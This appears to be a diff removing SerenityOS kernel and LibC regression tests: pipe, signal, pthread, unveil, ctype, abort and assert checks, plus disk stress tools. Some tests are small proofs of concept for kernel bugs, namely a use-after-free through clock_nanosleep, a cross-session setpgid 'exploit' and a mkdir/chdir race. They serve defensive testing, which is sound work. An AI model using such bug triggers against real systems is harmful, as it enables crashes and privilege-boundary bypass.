rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
return nullptr;
}
pthread_exit(nullptr);
assert(false);
// FIXME: return nullptr;
}
int main()
{
// Chronological order:
// T0: Main thread allocates region for the outvalue of clock_nanosleep
// T1: Main thread enters clock_nanosleep
// T2: Side thread deallocates that region
// T3: Side thread dies
// T4: A different process sends SIGUSR1, waking up the main thread,
// forcing the kernel to write to the deallocated Region.
// I'm sorry that both a side *thread* and a side *process* are necessary.
// Maybe in the future this test can be simplified, see above.
yank_shared_t shared = { nullptr };
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
pthread_t yanker_thread;
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
if (rc != 0) {
perror("pthread");
printf("FAIL\n");
return 1;
}
// Set an action for SIGUSR1, so that the sleep can be interrupted:
signal(SIGUSR1, signal_printer);
// T1: Go to sleep.
timespec const requested_sleep = { 3, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
// Now we are beyond T4.
if (rc == 0) {
// We somehow weren't interrupted. Bad.
printf("Not interrupted.\n");
printf("FAIL\n");
return 1;
}
// nanosleep was interrupted and the kernel didn't crash. Good!
printf("PASS\n");
return 0;
}

View file

@ -1,41 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <pthread.h>
#include <stdio.h>
#include <sys/select.h>
#include <unistd.h>
int pipefds[2];
int main(int, char**)
{
pipe(pipefds);
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
printf("ST: close()\n");
close(pipefds[1]);
pthread_exit(nullptr);
},
nullptr);
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(pipefds[1], &rfds);
printf("MT: select()\n");
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
if (rc < 0) {
perror("select");
return 1;
}
printf("ok\n");
return 0;
}

View file

@ -1,27 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <pthread.h>
#include <stdio.h>
#include <sys/select.h>
#include <unistd.h>
int main(int, char**)
{
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
__builtin_trap();
return nullptr;
},
nullptr);
pthread_join(tid, nullptr);
printf("ok\n");
return 0;
}

View file

@ -1,21 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <sys/stat.h>
#include <unistd.h>
int main()
{
if (!fork()) {
for (;;) {
mkdir("/tmp/x", 0666);
rmdir("/tmp/x");
}
}
for (;;) {
chdir("/tmp/x");
}
}

View file

@ -1,76 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <cassert>
#include <cstring>
#include <ctime>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct worker_t {
char const* name;
int count;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
long int wait_time;
};
static void* run_worker(void* args)
{
struct timespec time_to_wait = { 0, 0 };
worker_t* worker = (worker_t*)args;
worker->count = 0;
while (worker->count < 25) {
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
pthread_mutex_lock(&worker->lock);
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
// Validate return code is always timed out.
assert(rc == -1);
assert(errno == ETIMEDOUT);
worker->count++;
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
pthread_mutex_unlock(&worker->lock);
}
return nullptr;
}
static void init_worker(worker_t* worker, char const* name, long int wait_time)
{
worker->name = name;
worker->wait_time = wait_time;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
pthread_mutex_init(&worker->lock, nullptr);
pthread_cond_init(&worker->cond, nullptr);
pthread_create(&worker->thread, &attr, &run_worker, (void*)worker);
pthread_attr_destroy(&attr);
}
int main()
{
worker_t worker_a;
init_worker(&worker_a, "A", 2L);
worker_t worker_b;
init_worker(&worker_b, "B", 4L);
pthread_join(worker_a.thread, nullptr);
pthread_join(worker_b.thread, nullptr);
return EXIT_SUCCESS;
}

View file

@ -1,277 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/Format.h>
#include <errno.h>
#include <fcntl.h>
#include <serenity.h>
#include <stdio.h>
#include <unistd.h>
/*
* Bug:
* A process can join a process group across sessions if both process groups
* do not have a leader (anymore). This can be used to join a session
* illegitimately. (Or, more harmlessly, to change the own PGID to an unused
* but arbitrary one, for example the PGID 0xDEADBEEF or the one that's going
* to be your program's session ID in the short-term future.)
*
* So what needs to happen:
* - There is session SA
* - There is session SB
* - There is a Process Group PGA in SA
* - There is a Process Group PGB in SB
* - PGA does not have a leader
* - PGB does not have a leader
* - There is a Process PA2 in PGA
* - There is a Process PB2 in PGB
* - PA2 calls setpgid(0, PGB)
* - Now PA2 and PB2 are in the same processgroup, but not in the same session. WHAAAAT! :^)
*
* Here's how to demonstrate the bug:
* - Time 0: PX forks into PA1
* - Time 1: PA1 creates a new session (SA) and pgrp (PGA)
* - Time 2: PA1 forks into PA2
* - Time 3: PA1 dies (PGA now has no leader)
* Note: PA2 never dies. Too much hassle.
* - Time 4: PX forks into PB1
* - Time 5: PB1 creates a new session (SB) and pgrp (PGB)
* - Time 6: PB1 forks into PB2
* - Time 7: PB1 dies (PGB now has no leader)
* - Time 8: PB2 calls pgrp(0, PGA)
* Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
* - Time 9: If PX hasn't received any message yet through the pipe, it declares the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
*/
static constexpr useconds_t STEP_SIZE = 1100000;
static void fork_into(void (*fn)(void*), void* arg)
{
pid_t const rc = fork();
if (rc < 0) {
perror("fork");
exit(1);
}
if (rc > 0) {
int const disown_rc = disown(rc);
if (disown_rc < 0) {
perror("disown");
dbgln("This might cause PA1 to remain in the Zombie state, "
"and thus in the process list, meaning the leader is "
"still 'alive' for the purpose of lookup.");
}
return;
}
fn(arg);
dbgln("child finished (?)");
exit(1);
}
static void sleep_steps(useconds_t steps)
{
int const rc = usleep(steps * STEP_SIZE);
if (rc < 0) {
perror("usleep");
VERIFY_NOT_REACHED();
}
}
static void run_pa1(void*);
static void run_pa2(void*);
static void run_pb1(void*);
static void run_pb2(void*);
int main(int, char**)
{
// This entire function is the entirety of process PX.
// Time 0: PX forks into PA1
int fds[2];
// Serenity doesn't support O_NONBLOCK for pipes yet, so
// sadly the test will hang if something goes wrong.
if (pipe2(fds, 0) < 0) {
perror("pipe");
exit(1);
}
dbgln("PX starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PX forks into PA1");
fork_into(run_pa1, nullptr);
sleep_steps(4);
// Time 4: PX forks into PB1
dbgln("PX forks into PB1");
fork_into(run_pb1, &(fds[1]));
sleep_steps(5);
// Time 9: If PX hasn't received any message yet through the pipe, it declares
// the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
dbgln("PX reads from pipe");
unsigned char buf = 42;
ssize_t rc = read(fds[0], &buf, 1);
if (rc == 0) {
// In fact, we only reach this branch when *all* processes have died,
// including this one. So … should be unreachable.
printf("DOUBLE FAIL: pipe is closed, but we still have it open.\n"
"See debug log, some process probably crashed.\n");
exit(1);
}
if (rc < 0) {
if (errno == EAGAIN) {
printf("FAIL: pipe has no data. See debug log, some process os probably hanging.\n");
} else {
perror("read (unknown)");
}
exit(1);
}
VERIFY(rc == 1);
if (buf == 0) {
printf("PASS\n");
return 0;
}
if (buf == 1) {
printf("FAIL (exploit successful)\n");
return 1;
}
printf("FAIL, for some reason %c\n", buf);
return 1;
}
static void run_pa1(void*)
{
// Time 0: PX forks into PA1
sleep_steps(1);
// Time 1: PA1 creates a new session (SA) and pgrp (PGA)
dbgln("PA1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PA1 calls setsid()");
int rc = setsid();
if (rc < 0) {
perror("setsid (PA)");
VERIFY_NOT_REACHED();
}
dbgln("PA1 did setsid() -> PGA={}, SA={}, yay!", rc, getsid(0));
sleep_steps(1);
// Time 2: PA1 forks into PA2
dbgln("PA1 forks into PA2");
fork_into(run_pa2, nullptr);
sleep_steps(1);
// Time 3: PA1 dies (PGA now has no leader)
dbgln("PA1 dies. You should see a 'Reaped unparented process' "
"message with my ID next, OR THIS TEST IS MEANINGLESS "
"(see fork_into()).");
exit(0);
}
static void run_pa2(void*)
{
// Time 2: PA1 forks into PA2
dbgln("PA2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
sleep_steps(18);
// pa_2 never *does* anything.
dbgln("PA2 dies from boredom.");
exit(1);
}
static void run_pb1(void* pipe_fd_ptr)
{
// Time 4: PX forks into PB1
sleep_steps(1);
// Time 5: PB1 creates a new session (SB) and pgrp (PGB)
dbgln("PB1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PB1 calls setsid()");
int rc = setsid();
if (rc < 0) {
perror("setsid (PB)");
VERIFY_NOT_REACHED();
}
dbgln("PB1 did setsid() -> PGB={}, SB={}, yay!", rc, getsid(0));
sleep_steps(1);
// Time 6: PB1 forks into PB2
dbgln("PB1 forks into PB2");
fork_into(run_pb2, pipe_fd_ptr);
sleep_steps(1);
// Time 7: PB1 dies (PGB now has no leader)
dbgln("PB1 dies. You should see a 'Reaped unparented process' "
"message with my ID next, OR THIS TEST IS MEANINGLESS "
"(see fork_into()).");
exit(0);
}
static void simulate_sid_from_pgid(pid_t pgid)
{
pid_t rc = getpgid(pgid); // Same confusion as in the Kernel
int saved_errno = errno;
if (rc < 0 && saved_errno == ESRCH) {
dbgln("The old get_sid_from_pgid({}) would return -1", pgid);
} else if (rc >= 0) {
dbgln("FAIL: Process {} still exists?! PGID is {}.", pgid, rc);
} else {
perror("pgid (probably fail)");
}
}
static void run_pb2(void* pipe_fd_ptr)
{
// Time 6: PB1 forks into PB2
sleep_steps(2);
// Time 8: PB2 calls pgrp(0, PGA)
// Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
dbgln("PB2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
dbgln("PB2 calls pgrp(0, PGA)");
int pga = getpid() - 3;
dbgln("PB2: Actually, what is PGA? I guess it's {}?", pga);
simulate_sid_from_pgid(pga);
int rc = setpgid(0, pga);
unsigned char to_write = 123;
if (rc == 0) {
dbgln("PB2: setgpid SUCCESSFUL! CHANGED PGROUP!");
to_write = 1;
} else {
VERIFY(rc == -1);
switch (errno) {
case EACCES:
dbgln("PB2: Failed with EACCES. Huh?!");
to_write = 101;
break;
case EINVAL:
dbgln("PB2: Failed with EINVAL. Huh?!");
to_write = 102;
break;
case ESRCH:
dbgln("PB2: Failed with ESRCH. Huh?!");
to_write = 103;
break;
case EPERM:
dbgln("PB2: Failed with EPERM. Aww, no exploit today :^)");
to_write = 0;
break;
default:
dbgln("PB2: Failed with errno={}?!", errno);
perror("setpgid");
to_write = 104;
break;
}
}
dbgln("PB2 ends with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
int* pipe_fd = static_cast<int*>(pipe_fd_ptr);
VERIFY(*pipe_fd);
rc = write(*pipe_fd, &to_write, 1);
if (rc != 1) {
dbgln("Wrote only {} bytes instead of 1?!", rc);
exit(1);
}
exit(0);
}

View file

@ -1,107 +0,0 @@
/*
* Copyright (c) 2020-2022, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <signal.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
// Supposed to use volatile everywhere here but good lord does C++ make that a pain
sig_atomic_t volatile saved_signal;
siginfo_t volatile saved_siginfo;
ucontext_t volatile saved_ucontext;
siginfo_t* sig_info_addr;
ucontext_t* ucontext_addr;
void* stack_ptr;
bool volatile signal_was_delivered = false;
static void signal_handler(int sig, siginfo_t* sig_info, void* u_context)
{
stack_ptr = __builtin_frame_address(0);
signal_was_delivered = true;
saved_signal = sig;
// grumble grumble, assignment operator on volatile types not a thing
// grumble grumble more, can't memcpy voltile either, that casts away volatile
// grumble grumble even more, can't std::copy to volatile.
// screw it, just write all the fields
sig_info_addr = sig_info;
saved_siginfo.si_status = sig_info->si_status;
saved_siginfo.si_signo = sig_info->si_signo;
saved_siginfo.si_code = sig_info->si_code;
saved_siginfo.si_pid = sig_info->si_pid;
saved_siginfo.si_uid = sig_info->si_uid;
saved_siginfo.si_value.sival_int = sig_info->si_value.sival_int;
auto user_context = (ucontext_t*)u_context;
ucontext_addr = user_context;
saved_ucontext.uc_link = user_context->uc_link;
saved_ucontext.uc_sigmask = user_context->uc_sigmask;
saved_ucontext.uc_stack.ss_sp = user_context->uc_stack.ss_sp;
saved_ucontext.uc_stack.ss_size = user_context->uc_stack.ss_size;
saved_ucontext.uc_stack.ss_flags = user_context->uc_stack.ss_flags;
// saved_ucontext.uc_mcontext = user_context->uc_mcontext;
}
static int print_signal_results()
{
if (!signal_was_delivered) {
fprintf(stderr, "Where was my signal bro?\n");
return 2;
}
sig_atomic_t read_the_signal = saved_signal;
siginfo_t read_the_siginfo = {};
read_the_siginfo.si_status = saved_siginfo.si_status;
read_the_siginfo.si_signo = saved_siginfo.si_signo;
read_the_siginfo.si_code = saved_siginfo.si_code;
read_the_siginfo.si_pid = saved_siginfo.si_pid;
read_the_siginfo.si_uid = saved_siginfo.si_uid;
read_the_siginfo.si_value.sival_int = saved_siginfo.si_value.sival_int;
ucontext_t read_the_ucontext = {};
read_the_ucontext.uc_link = saved_ucontext.uc_link;
read_the_ucontext.uc_sigmask = saved_ucontext.uc_sigmask;
read_the_ucontext.uc_stack.ss_sp = saved_ucontext.uc_stack.ss_sp;
read_the_ucontext.uc_stack.ss_size = saved_ucontext.uc_stack.ss_size;
read_the_ucontext.uc_stack.ss_flags = saved_ucontext.uc_stack.ss_flags;
// read_the_ucontext.uc_mcontext = saved_ucontext.uc_mcontext;
printf("Handled signal: %d\n", read_the_signal);
printf("Stack sorta started as %p\n", stack_ptr);
printf("Siginfo was stored at %p:\n", sig_info_addr);
printf("\tsi_signo: %d\n", read_the_siginfo.si_signo);
printf("\tsi_code, %x\n", read_the_siginfo.si_code);
printf("\tsi_pid, %d\n", read_the_siginfo.si_pid);
printf("\tsi_uid, %d\n", read_the_siginfo.si_uid);
printf("\tsi_status, %x\n", read_the_siginfo.si_status);
printf("\tsi_value.sival_int, %x\n", read_the_siginfo.si_value.sival_int);
printf("ucontext was stored at %p:\n", ucontext_addr);
printf("\tuc_link, %p\n", read_the_ucontext.uc_link);
printf("\tuc_sigmask, %d\n", read_the_ucontext.uc_sigmask);
printf("\tuc_stack.ss_sp, %p\n", read_the_ucontext.uc_stack.ss_sp);
printf("\tuc_stack.ss_size, %zu\n", read_the_ucontext.uc_stack.ss_size);
printf("\tuc_stack.ss_flags, %d\n", read_the_ucontext.uc_stack.ss_flags);
// printf("\tuc_mcontext, %d\n", read_the_ucontext.uc_mcontext);
return 0;
}
int main()
{
struct sigaction action = {};
action.sa_flags = SA_SIGINFO;
sigemptyset(&action.sa_mask);
action.sa_sigaction = signal_handler;
for (size_t i = 0; i < NSIG; ++i)
(void)sigaction(i, &action, nullptr);
printf("Sleeping for a long time waiting for kill -<N> %d\n", getpid());
sleep(1000);
return print_signal_results();
}

View file

@ -1,53 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Random.h>
#include <LibCore/ArgsParser.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char** argv)
{
Vector<StringView> arguments;
arguments.ensure_capacity(argc);
for (auto i = 0; i < argc; ++i)
arguments.append({ argv[i], strlen(argv[i]) });
ByteString target;
int max_file_size = 1024 * 1024;
int count = 1024;
Core::ArgsParser args_parser;
args_parser.add_option(max_file_size, "Maximum file size to generate", "max-size", 's', "size");
args_parser.add_option(count, "Number of truncations to run", "number", 'n', "number");
args_parser.add_positional_argument(target, "Target file path", "target");
args_parser.parse(arguments);
int fd = creat(target.characters(), 0666);
if (fd < 0) {
perror("Couldn't create target file");
return EXIT_FAILURE;
}
close(fd);
for (int i = 0; i < count; i++) {
auto new_file_size = AK::get_random<uint64_t>() % (max_file_size + 1);
printf("(%d/%d)\tTruncating to %" PRIu64 " bytes...\n", i + 1, count, new_file_size);
if (truncate(target.characters(), new_file_size) < 0) {
perror("Couldn't truncate target file");
return EXIT_FAILURE;
}
}
if (unlink(target.characters()) < 0) {
perror("Couldn't remove target file");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}

View file

@ -1,165 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Random.h>
#include <LibCore/ArgsParser.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
{
auto offset = block * buffer.size();
auto rs = lseek(fd, offset, SEEK_SET);
if (rs < 0) {
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
return false;
}
auto rw = read(fd, buffer.data(), buffer.size());
if (rw != static_cast<int>(buffer.size())) {
fprintf(stderr, "Failure to read block %" PRIi64 ": %s\n", block, strerror(errno));
return false;
}
srand((seed + 1) * (block + 1));
for (size_t i = 0; i < buffer.size(); i++) {
if (buffer[i] != rand() % 256) {
fprintf(stderr, "Discrepancy detected at block %" PRIi64 " offset %zd\n", block, i);
return false;
}
}
return true;
}
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
{
auto offset = block * buffer.size();
auto rs = lseek(fd, offset, SEEK_SET);
if (rs < 0) {
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
return false;
}
srand((seed + 1) * (block + 1));
for (size_t i = 0; i < buffer.size(); i++)
buffer[i] = rand();
auto rw = write(fd, buffer.data(), buffer.size());
if (rw != static_cast<int>(buffer.size())) {
fprintf(stderr, "Failure to write block %" PRIi64 ": %s\n", block, strerror(errno));
return false;
}
return true;
}
int main(int argc, char** argv)
{
Vector<StringView> arguments;
arguments.ensure_capacity(argc);
for (auto i = 0; i < argc; ++i)
arguments.append({ argv[i], strlen(argv[i]) });
ByteString target;
int min_block_offset = 0;
int block_length = 2048;
int block_size = 512;
int count = 1024;
int rng_seed = 0;
bool paranoid_mode = false;
bool random_mode = false;
bool stop_mode = false;
bool uninitialized_mode = false;
Core::ArgsParser args_parser;
args_parser.add_option(min_block_offset, "Minimum block offset to consider", "min-offset", 'o', "size");
args_parser.add_option(block_length, "Number of blocks to consider", "length", 's', "size");
args_parser.add_option(block_size, "Block size", "block-size", 'b', "size");
args_parser.add_option(count, "Number of write/read cycles to run", "number", 'n', "number");
args_parser.add_option(rng_seed, "Random number generator seed", "seed", 'S', "number");
args_parser.add_option(paranoid_mode, "Check entire range for consistency after each write", "paranoid", 'p');
args_parser.add_option(random_mode, "Write one block inside range at random", "random", 'r');
args_parser.add_option(stop_mode, "Stop after first error", "abort-on-error", 'a');
args_parser.add_option(uninitialized_mode, "Don't pre-initialize block range", "uninitialized", 'u');
args_parser.add_positional_argument(target, "Target device/file path", "target");
args_parser.parse(arguments);
auto buffer_result = AK::ByteBuffer::create_zeroed(block_size);
if (buffer_result.is_error()) {
warnln("Failed to allocate a buffer of {} bytes", block_size);
return EXIT_FAILURE;
}
auto buffer = buffer_result.release_value();
int fd = open(target.characters(), O_CREAT | O_RDWR, 0666);
if (fd < 0) {
perror("Couldn't create target file");
return EXIT_FAILURE;
}
if (!uninitialized_mode) {
int old_percent = -100;
for (int i = min_block_offset; i < min_block_offset + block_length; i++) {
int percent;
if (block_length <= 1)
percent = 100;
else
percent = 100 * (i - min_block_offset) / (block_length - 1);
if (old_percent != percent) {
printf("Pre-initializing entire block range (%3d%%)...\n", percent);
old_percent = percent;
}
if (!write_block(fd, rng_seed, i, buffer))
return EXIT_FAILURE;
}
}
int r = EXIT_SUCCESS;
for (int i = 0; i < count; i++) {
printf("(%d/%d)\tPass %d...\n", i + 1, count, i + 1);
for (int j = min_block_offset; j < min_block_offset + block_length; j++) {
off_t block;
if (random_mode)
while ((block = AK::get_random<off_t>()) < 0)
;
else
block = j;
block = min_block_offset + block % block_length;
if (paranoid_mode) {
for (int k = min_block_offset; j < min_block_offset + block_length; j++) {
if (!verify_block(fd, rng_seed, k, buffer)) {
if (stop_mode)
return EXIT_FAILURE;
else
r = EXIT_FAILURE;
}
}
} else {
if (!verify_block(fd, rng_seed, block, buffer)) {
if (stop_mode)
return EXIT_FAILURE;
else
r = EXIT_FAILURE;
}
}
if (!write_block(fd, rng_seed, block, buffer)) {
if (stop_mode)
return EXIT_FAILURE;
else
r = EXIT_FAILURE;
}
}
}
close(fd);
return r;
}

View file

@ -1,40 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int pipefds[2];
int main(int, char**)
{
pipe(pipefds);
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
printf("Second thread closing pipes!\n");
close(pipefds[0]);
close(pipefds[1]);
pthread_exit(nullptr);
},
nullptr);
printf("First thread doing a blocking read from pipe...\n");
char buffer[16];
ssize_t nread = read(pipefds[0], buffer, sizeof(buffer));
if (nread != 0) {
printf("FAIL, read %zd bytes from pipe\n", nread);
return 1;
}
printf("PASS\n");
return 0;
}

View file

@ -1,76 +0,0 @@
/*
* Copyright (c) 2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main()
{
rmdir("/tmp/foo/1");
rmdir("/tmp/foo");
unlink("/tmp/bar");
if (mkdir("/tmp/foo", 0755) < 0) {
perror("mkdir");
return 1;
}
if (mkdir("/tmp/foo/1", 0755) < 0) {
perror("mkdir");
return 1;
}
if (symlink("/tmp/foo", "/tmp/bar")) {
perror("symlink");
return 1;
}
if (unveil("/tmp/foo", "r") < 0) {
perror("unveil");
return 1;
}
if (unveil(nullptr, nullptr) < 0) {
perror("unveil");
return 1;
}
int fd = open("/tmp/foo/1", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
close(fd);
fd = open("/tmp/bar/1", O_RDONLY);
if (fd >= 0) {
fprintf(stderr, "FAIL, symlink was not unveiled\n");
return 1;
}
if (chdir("/tmp")) {
perror("chdir");
return 1;
}
fd = open("./foo/1", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
close(fd);
fd = open("./bar/1", O_RDONLY);
if (fd >= 0) {
fprintf(stderr, "FAIL, symlink was not unveiled\n");
return 1;
}
printf("PASS\n");
return 0;
}

View file

@ -1,49 +0,0 @@
set(TEST_SOURCES
TestAbort.cpp
TestAssert.cpp
TestCType.cpp
TestEnvironment.cpp
TestFenv.cpp
TestIo.cpp
TestLibCExec.cpp
TestLibCGrp.cpp
TestLibCDirEnt.cpp
TestLibCInodeWatcher.cpp
TestLibCMkTemp.cpp
TestLibCNetdb.cpp
TestLibCSetjmp.cpp
TestLibCString.cpp
TestLibCTime.cpp
TestMalloc.cpp
TestMath.cpp
TestMemalign.cpp
TestMemmem.cpp
TestMkDir.cpp
TestPthreadCancel.cpp
TestPthreadCleanup.cpp
TestPThreadPriority.cpp
TestPthreadSpinLocks.cpp
TestPthreadRWLocks.cpp
TestPwd.cpp
TestQsort.cpp
TestRaise.cpp
TestRealpath.cpp
TestScanf.cpp
TestSearch.cpp
TestSnprintf.cpp
TestStackSmash.cpp
TestStdio.cpp
TestStrlcpy.cpp
TestStrtodAccuracy.cpp
TestWchar.cpp
TestWctype.cpp
)
set_source_files_properties(TestMath.cpp PROPERTIES COMPILE_FLAGS "-fno-builtin")
set_source_files_properties(TestStrtodAccuracy.cpp PROPERTIES COMPILE_FLAGS "-fno-builtin-strtod")
# Don't assume default rounding behavior is used for testing rounding behavior modifications.
set_source_files_properties(TestFenv.cpp PROPERTIES COMPILE_FLAGS "-frounding-math")
foreach(source IN LISTS TEST_SOURCES)
serenity_test("${source}" LibC)
endforeach()

View file

@ -1,34 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <signal.h>
#include <stdlib.h>
TEST_CASE(_abort)
{
EXPECT_CRASH("This should _abort", [] {
_abort();
return Test::Crash::Failure::DidNotCrash;
});
EXPECT_CRASH_WITH_SIGNAL("This should _abort with SIGILL signal", SIGILL, [] {
_abort();
return Test::Crash::Failure::DidNotCrash;
});
}
TEST_CASE(abort)
{
EXPECT_CRASH("This should abort", [] {
abort();
return Test::Crash::Failure::DidNotCrash;
});
EXPECT_CRASH_WITH_SIGNAL("This should abort with SIGABRT signal", SIGABRT, [] {
abort();
return Test::Crash::Failure::DidNotCrash;
});
}

View file

@ -1,45 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#undef NDEBUG
#include <assert.h>
#include <signal.h>
TEST_CASE(assert)
{
EXPECT_CRASH("This should assert", [] {
assert(!"This should assert");
return Test::Crash::Failure::DidNotCrash;
});
EXPECT_CRASH_WITH_SIGNAL("This should assert with SIGABRT signal", SIGABRT, [] {
assert(!"This should assert");
return Test::Crash::Failure::DidNotCrash;
});
}
#define NDEBUG
#include <assert.h>
TEST_CASE(assert_reinclude)
{
EXPECT_NO_CRASH("This should not assert", [] {
assert(!"This should not assert");
return Test::Crash::Failure::DidNotCrash;
});
}
#undef NDEBUG
#include <assert.h>
TEST_CASE(assert_rereinclude)
{
EXPECT_CRASH("This should assert", [] {
assert(!"This should assert");
return Test::Crash::Failure::DidNotCrash;
});
}

View file

@ -1,196 +0,0 @@
/*
* Copyright (c) 2022, Andrew Kaster <akaster@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <ctype.h>
// https://open-std.org/JTC1/SC22/WG14/www/docs/n2912.pdf
// Section 7.4.1 Character classification functions
// 7.4.1.1 The isalnum function
// The isalnum function tests for any character for which isalpha or isdigit is true.
TEST_CASE(test_isalnum)
{
for (int i = 0; i < 256; ++i) {
if ((i >= '0' && i <= '9') || (i >= 'A' && i <= 'Z') || (i >= 'a' && i <= 'z'))
EXPECT_NE(isalnum(i), 0);
else
EXPECT_EQ(isalnum(i), 0);
}
}
// 7.4.1.2 The isalpha function
// The isalpha function tests for any character for which isupper or islower is true, or any character
// that is one of a locale-specific set of alphabetic characters for which none of iscntrl, isdigit,
// ispunct, or isspace is true. In the "C" locale, isalpha returns true only for the characters for
// which isupper or islower is true.
TEST_CASE(test_isalpha)
{
for (int i = 0; i < 256; ++i) {
if ((i >= 'A' && i <= 'Z') || (i >= 'a' && i <= 'z'))
EXPECT_NE(isalpha(i), 0);
else
EXPECT_EQ(isalpha(i), 0);
}
}
// 7.4.1.3 The isblank function
// The isblank function tests for any character that is a standard blank character or is one of a locale-
// specific set of characters for which isspace is true and that is used to separate words within a line
// of text. The standard blank characters are the following: space ( ), and horizontal tab (\t ). In
// the "C" locale, isblank returns true only for the standard blank characters.
TEST_CASE(test_isblank)
{
for (int i = 0; i < 256; ++i) {
if ((i == ' ') || (i == '\t'))
EXPECT_NE(isblank(i), 0);
else
EXPECT_EQ(isblank(i), 0);
}
}
// 7.4.1.4 The iscntrl function
// The iscntrl function tests for any control character
TEST_CASE(test_iscntrl)
{
for (int i = 0; i < 256; ++i) {
if ((i < ' ') || (i == '\x7F')) // 7F is DEL
EXPECT_NE(iscntrl(i), 0);
else
EXPECT_EQ(iscntrl(i), 0);
}
}
// 7.4.1.5 The isdigit function
// The isdigit function tests for any decimal-digit character (as defined in 5.2.1)
TEST_CASE(test_isdigit)
{
for (int i = 0; i < 256; ++i) {
if ((i >= '0' && i <= '9'))
EXPECT_NE(isdigit(i), 0);
else
EXPECT_EQ(isdigit(i), 0);
}
}
// 7.4.1.6 The isgraph function
// The isgraph function tests for any printing character except space ( ).
TEST_CASE(test_isgraph)
{
for (int i = 0; i < 256; ++i) {
if ((i > ' ' && i <= '~'))
EXPECT_NE(isgraph(i), 0);
else
EXPECT_EQ(isgraph(i), 0);
}
}
// 7.4.1.7 The islower function
// The islower function tests for any character that is a lowercase letter or is one of a locale-specific set
// of characters for which none of iscntrl, isdigit, ispunct, or isspace is true. In the "C" locale,
// islower returns true only for the lowercase letters (as defined in 5.2.1
TEST_CASE(test_islower)
{
for (int i = 0; i < 256; ++i) {
if ((i >= 'a' && i <= 'z'))
EXPECT_NE(islower(i), 0);
else
EXPECT_EQ(islower(i), 0);
}
}
// 7.4.1.8 The isprint function
